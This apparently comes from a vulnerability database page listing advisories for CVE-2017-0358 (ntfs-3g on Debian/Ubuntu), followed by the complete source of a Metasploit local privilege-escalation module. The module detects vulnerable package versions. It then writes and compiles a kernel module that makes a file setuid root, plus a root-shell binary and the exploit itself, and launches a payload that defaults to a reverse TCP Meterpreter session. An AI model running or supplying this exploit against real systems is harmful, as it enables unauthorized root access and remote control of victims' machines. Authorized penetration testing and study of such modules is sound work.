| Reporter | Title | Published | Views | Family All 58 |
|---|---|---|---|---|
| Debian 9 ntfs-3g - Privilege Escalation Exploit | 4 Feb 201700:00 | – | zdt | |
| ntfs-3g - Unsanitized modprobe Environment Privilege Escalation Vulnerability | 14 Feb 201700:00 | – | zdt | |
| CVE-2017-0358 | 14 Feb 201700:00 | – | circl | |
| CVE-2017-0358 | 13 Apr 201815:00 | – | cve | |
| CVE-2017-0358 ntfs-3g: Modprobe influence vulnerability via environment variables | 13 Apr 201815:00 | – | cvelist | |
| [SECURITY] [DLA 815-1] ntfs-3g security update | 2 Feb 201717:39 | – | debian | |
| [SECURITY] [DSA 3780-1] ntfs-3g security update | 1 Feb 201717:56 | – | debian | |
| CVE-2017-0358 | 13 Apr 201815:00 | – | debiancve | |
| Debian DLA-815-1 : ntfs-3g security update | 3 Feb 201700:00 | – | nessus | |
| Debian DSA-3780-1 : ntfs-3g - security update | 2 Feb 201700:00 | – | nessus |
`##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info={})
super( update_info( info, {
'Name' => 'Debian/Ubuntu ntfs-3g Local Privilege Escalation',
'Description' => %q{
ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe.
This can be abused to load a kernel module and execute a binary payload as the root user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'[email protected]', # discovery
'h00die <[email protected]>' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2017-0358' ],
[ 'EDB', '41356' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1072' ]
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' =>
{
'payload' => 'linux/x64/mettle/reverse_tcp',
'PrependFork' => true,
},
'DefaultTarget' => 1,
'DisclosureDate' => 'Jan 05 2017',
'Privileged' => true
}
))
register_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
], self.class)
end
def check
# check if linux headers were installed on Debian (not ubuntu). The 'common' headers won't work.
def headers_installed?()
output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}')
if output
if output.include?('linux-headers')
return true
else
print_error('Linux kernel headers not available, compiling will fail.')
return false
end
end
false
end
output = cmd_exec('dpkg -l ntfs-3g | grep \'^ii\'')
if output
if output.include?('1:2015.3.14AR.1-1build1') #Ubuntu 16.04 LTS
print_good('Vulnerable Ubuntu 16.04 detected')
CheckCode::Appears
elsif output.include?('1:2016.2.22AR.1-3') #Ubuntu 16.10
print_good('Vulnerable Ubuntu 16.10 detected')
CheckCode::Appears
elsif output.include?('1:2012.1.15AR.5-2.1+deb7u2') #Debian Wheezy, we also need linux-source installed
print_good('Vulnerable Debian 7 (wheezy) detected')
if headers_installed?()
CheckCode::Appears
else
CheckCode::Safe
end
CheckCode::Appears
elsif output.include?('1:2014.2.15AR.2-1+deb8u2') #Debian Jessie, we also need linux-source installed
print_good('Vulnerable Debian 8 (jessie) detected')
if headers_installed?()
CheckCode::Appears
else
CheckCode::Safe
end
CheckCode::Appears
else
print_error("Version installed not vulnerable: #{output}")
CheckCode::Safe
end
else
print_error('ntfs-3g not installed')
CheckCode::Safe
end
end
def exploit
def upload_and_compile(filename, file_path, file_content, compile=nil)
rm_f "#{file_path}"
if not compile.nil?
rm_f "#{file_path}.c"
vprint_status("Writing #{filename} to #{file_path}.c")
write_file("#{file_path}.c", file_content)
register_file_for_cleanup("#{file_path}.c")
output = cmd_exec(compile)
if output != ''
print_error(output)
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
end
else
vprint_status("Writing #{filename} to #{file_path}")
write_file(file_path, file_content)
end
cmd_exec("chmod +x #{file_path}");
register_file_for_cleanup(file_path)
end
# These are direct copies of the modules from EDB
rootmod = %q{
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
static int suidfile_fd = -1;
module_param(suidfile_fd, int, 0);
static int __init init_rootmod(void) {
int (*sys_fchown_)(int fd, int uid, int gid);
int (*sys_fchmod_)(int fd, int mode);
const struct cred *kcred, *oldcred;
sys_fchown_ = (void*)kallsyms_lookup_name("sys_fchown");
sys_fchmod_ = (void*)kallsyms_lookup_name("sys_fchmod");
printk(KERN_INFO "rootmod loading\n");
kcred = prepare_kernel_cred(NULL);
oldcred = override_creds(kcred);
sys_fchown_(suidfile_fd, 0, 0);
sys_fchmod_(suidfile_fd, 06755);
revert_creds(oldcred);
return -ELOOP; /* fake error because we don't actually want to end up with a loaded module */
}
static void __exit cleanup_rootmod(void) {}
module_init(init_rootmod);
module_exit(cleanup_rootmod);
MODULE_LICENSE("GPL v2");
}
rootshell = %q{
#include <unistd.h>
#include <err.h>
#include <stdio.h>
#include <sys/types.h>
int main(void) {
if (setuid(0) || setgid(0))
err(1, "setuid/setgid");
fputs("we have root privs now...\n", stderr);
execl("/bin/bash", "bash", NULL);
err(1, "execl");
}
}
# we moved sploit.c off since it was so big to the external sources folder
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2017-0358', 'sploit.c')
fd = ::File.open( path, "rb")
sploit = fd.read(fd.stat.size)
fd.close
rootmod_filename = 'rootmod'
rootmod_path = "#{datastore['WritableDir']}/#{rootmod_filename}"
rootshell_filename = 'rootshell'
rootshell_path = "#{datastore['WritableDir']}/#{rootshell_filename}"
sploit_filename = 'sploit'
sploit_path = "#{datastore['WritableDir']}/#{sploit_filename}"
payload_filename = rand_text_alpha(8)
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def has_prereqs?()
def check_gcc?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end
def check_make?()
make = cmd_exec('which make')
if make.include?('make')
vprint_good('make is installed')
return true
else
print_error('make is not installed. Compiling will fail.')
return false
end
end
return check_make?() && check_gcc?()
end
if has_prereqs?()
vprint_status('Live compiling exploit on system')
else
fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel')
end
# make our substitutions so things are dynamic
rootshell.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
print_status('Writing files to target')
cmd_exec("cd #{datastore['WritableDir']}")
#write all the files and compile. This is equivalent to the original compile.sh
#gcc -o rootshell rootshell.c -Wall
upload_and_compile('rootshell', rootshell_path, rootshell, "gcc -o #{rootshell_filename} #{rootshell_filename}.c -Wall")
#gcc -o sploit sploit.c -Wall -std=gnu99
upload_and_compile('sploit', sploit_path, sploit, "gcc -o #{sploit_filename} #{sploit_filename}.c -Wall -std=gnu99")
#make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
upload_and_compile('rootmod', "#{rootmod_path}.c", rootmod, nil)
upload_and_compile('Makefile', "#{datastore['WritableDir']}/Makefile", 'obj-m := rootmod.o', nil)
cmd_exec('make -C /lib/modules/$(uname -r)/build M=$(pwd) modules')
upload_and_compile('payload', payload_path, generate_payload_exe)
#This is equivalent to the 2nd half of the compile.sh file
cmd_exec('mkdir -p depmod_tmp/lib/modules/$(uname -r)')
cmd_exec('cp rootmod.ko depmod_tmp/lib/modules/$(uname -r)/')
cmd_exec('/sbin/depmod -b depmod_tmp/')
cmd_exec('cp depmod_tmp/lib/modules/$(uname -r)/*.bin .')
cmd_exec('rm -rf depmod_tmp')
register_file_for_cleanup("#{rootmod_path}.ko")
register_file_for_cleanup("#{rootmod_path}.mod.c")
register_file_for_cleanup("#{rootmod_path}.mod.o")
register_file_for_cleanup("#{rootmod_path}.o")
# and here we go!
print_status('Starting execution of priv esc.')
output = cmd_exec(sploit_path)
unless session_created?
# this could also be output.include?('we have root privs now...'), however session_created handles some additional cases like elevation happened,
# but binary payload was caught, or NIPS shut down the callback etc.
vprint_error(output)
end
end
def on_new_session(session)
# if we don't /bin/bash here, our payload times out
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died
session.shell_command_token('/bin/bash')
super
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation